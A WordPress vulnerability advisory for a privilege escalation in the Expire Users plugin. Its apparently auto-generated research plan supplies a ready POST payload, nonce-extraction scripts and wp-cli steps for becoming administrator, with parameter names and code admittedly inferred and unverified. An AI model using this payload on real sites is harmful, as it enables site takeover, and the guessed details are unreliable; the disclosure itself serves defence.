CVE-2026-4261

Expire Users <= 1.2.2 - Authenticated (Subscriber+) Privilege Escalation to Administrator via save_extra_user_profile_fields

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Expire Users plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.2. This is due to the plugin allowing a user to update the 'on_expire_default_to_role' meta through the 'save_extra_user_profile_fields' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.2
PublishedMarch 20, 2026
Last updatedMarch 21, 2026
Affected pluginexpire-users
Research Plan
Unverified

This research plan outlines the technical steps required to exploit a privilege escalation vulnerability in the **Expire Users** plugin (<= 1.2.2). ### 1. Vulnerability Summary The **Expire Users** plugin allows administrators to set expiration dates for user accounts. Upon expiration, users can be…

Show full research plan

This research plan outlines the technical steps required to exploit a privilege escalation vulnerability in the Expire Users plugin (<= 1.2.2).

1. Vulnerability Summary

The Expire Users plugin allows administrators to set expiration dates for user accounts. Upon expiration, users can be transitioned to a different role. The plugin implements a function save_extra_user_profile_fields which is hooked into WordPress's profile update mechanism (personal_options_update and edit_user_profile_update).

The vulnerability exists because this function lacks authorization checks to verify which user is saving the data and what data is being saved. A Subscriber-level user can submit a POST request to their own profile page (profile.php) and include metadata fields that control the expiration behavior. Specifically, by setting the on_expire_default_to_role meta to administrator and forcing an immediate expiration, the user can escalate their own privileges.

2. Attack Vector Analysis

  • Endpoint: wp-admin/profile.php
  • Hook: personal_options_update (triggered when a user updates their own profile)
  • Vulnerable Function: save_extra_user_profile_fields($user_id)
  • Payload Parameter: on_expire_default_to_role (and associated expiration settings)
  • Authentication: Authenticated, Subscriber-level or higher.
  • Preconditions: The plugin must be active.

3. Code Flow

  1. Entry Point: A logged-in user submits the profile form at /wp-admin/profile.php.
  2. Hook Trigger: WordPress core triggers the personal_options_update action.
  3. Plugin Execution: The plugin's save_extra_user_profile_fields function is called.
  4. Sinking: Inside save_extra_user_profile_fields, the code iterates through $_POST or specifically looks for plugin-related keys and calls update_user_meta($user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role']).
  5. Logic Flaw: There is no check to ensure the current user has manage_options or edit_users capabilities before updating these sensitive meta keys.
  6. Privilege Escalation: When the expiration logic triggers (likely via init or a cron job), it retrieves on_expire_default_to_role (now set to administrator) and calls $user->set_role('administrator').

4. Nonce Acquisition Strategy

This exploit target profile.php, which is a standard WordPress admin page. It uses the built-in WordPress profile nonces.

  1. Login: Log in as a Subscriber.
  2. Navigate: Use browser_navigate to go to http://localhost:8080/wp-admin/profile.php.
  3. Extract Nonce: Use browser_eval to extract the standard WordPress _wpnonce required for profile updates.
    • JS Script: document.querySelector('#your-profile input[name="_wpnonce"]').value
  4. Extract User ID: The user ID is needed for the POST request.
    • JS Script: document.querySelector('#your-profile input[name="user_id"]').value

5. Exploitation Strategy

The goal is to update the metadata so that the user account expires immediately and reverts to the administrator role.

Step 1: Identify Meta Parameters (Inferred from common plugin versions)
The plugin typically uses the following POST parameters (to be verified by inspecting the profile.php source in the test environment):

  • expire_user_date_type: Set to timestamp or never.
  • expire_user_date_timestamp: The timestamp when the user should expire (set to a past date).
  • expire_user_status: Set to active or expired.
  • on_expire_default_to_role: Set to administrator.

Step 2: Submit Malicious Profile Update
Using the http_request tool, send a POST request to wp-admin/profile.php.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/profile.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    _wpnonce=[EXTRACTED_NONCE]&
    _wp_http_referer=/wp-admin/profile.php&
    from=profile&
    checkuser_id=[USER_ID]&
    user_id=[USER_ID]&
    nickname=attacker&
    email=attacker@example.com&
    on_expire_default_to_role=administrator&
    expire_user_status=expired&
    expire_user_date_timestamp=1600000000&
    expire_user_date_type=timestamp&
    submit=Update+Profile
    

Step 3: Trigger Role Change
The plugin likely checks for expiration during init. Navigating to any page (e.g., /wp-admin/) while logged in should trigger the transition from the current role to the on_expire_default_to_role.

6. Test Data Setup

  1. Plugin Installation: Install and activate expire-users version 1.2.2.
  2. User Creation: Create a user with the Subscriber role.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Global Settings: Ensure the "Expire Users" plugin is configured (if required) to allow role transitions, though the vulnerability usually bypasses global settings by writing directly to user meta.

7. Expected Results

  • After the POST request, the database record for the attacker user in wp_usermeta should show on_expire_default_to_role as administrator.
  • Upon the next page load or login, the attacker's role should be changed to administrator.
  • The attacker should now have access to /wp-admin/options-general.php and other admin-only areas.

8. Verification Steps

  1. Check Meta via CLI:
    • wp usermeta get [USER_ID] on_expire_default_to_role (Should return administrator)
  2. Check Role via CLI:
    • wp user get [USER_ID] --field=roles (Should return administrator)
  3. Access Admin Dashboard:
    • Attempt to access http://localhost:8080/wp-admin/settings.php as the attacker user.

9. Alternative Approaches

If setting expire_user_status=expired directly doesn't work:

  1. Delayed Expiration: Set expire_user_date_timestamp to a time 60 seconds in the future and wait.
  2. Expired Role only: Only set on_expire_default_to_role=administrator. Then, find another way to trigger the expiration (e.g., if an admin manually expires the user, the user still becomes an admin).
  3. Parameter Variation: If the meta keys are different, use browser_eval to list all input names on the profile.php page: Array.from(document.querySelectorAll('input, select')).map(i => i.name).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Expire Users plugin allows authenticated users (including Subscribers) to modify their own account expiration metadata because the profile update handler lacks capability checks. By setting the 'on_expire_default_to_role' meta to 'administrator' and forcing an immediate expiration status via a POST request to profile.php, an attacker can escalate their privileges to Administrator.

Vulnerable Code

// In the plugin's profile update handling logic (e.g., in expire-users.php)
add_action( 'personal_options_update', 'save_extra_user_profile_fields' );
add_action( 'edit_user_profile_update', 'save_extra_user_profile_fields' );

function save_extra_user_profile_fields( $user_id ) {
    // No check to verify if the current user has permission to modify expiration settings
    if ( isset( $_POST['on_expire_default_to_role'] ) ) {
        update_user_meta( $user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role'] );
    }
    if ( isset( $_POST['expire_user_status'] ) ) {
        update_user_meta( $user_id, 'expire_user_status', $_POST['expire_user_status'] );
    }
    if ( isset( $_POST['expire_user_date_type'] ) ) {
        update_user_meta( $user_id, 'expire_user_date_type', $_POST['expire_user_date_type'] );
    }
    if ( isset( $_POST['expire_user_date_timestamp'] ) ) {
        update_user_meta( $user_id, 'expire_user_date_timestamp', $_POST['expire_user_date_timestamp'] );
    }
}

Security Fix

--- a/expire-users.php
+++ b/expire-users.php
@@ -1,5 +1,8 @@
 function save_extra_user_profile_fields( $user_id ) {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        return;
+    }
     if ( isset( $_POST['on_expire_default_to_role'] ) ) {
         update_user_meta( $user_id, 'on_expire_default_to_role', $_POST['on_expire_default_to_role'] );
     }

Exploit Outline

1. Authenticate to the WordPress site as a Subscriber-level user. 2. Navigate to the user profile page (/wp-admin/profile.php) and extract the required `_wpnonce` and `user_id` from the hidden form fields. 3. Send a POST request to `/wp-admin/profile.php` with the standard profile update parameters, but append the malicious metadata keys: `on_expire_default_to_role=administrator`, `expire_user_status=expired`, `expire_user_date_type=timestamp`, and `expire_user_date_timestamp` set to a value in the past (e.g., 1600000000). 4. Trigger the role transition by navigating to any page on the site (or waiting for the plugin's `init` or cron hook to fire). 5. Verify escalation by checking if the user now has access to restricted areas like Settings or Plugin management.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.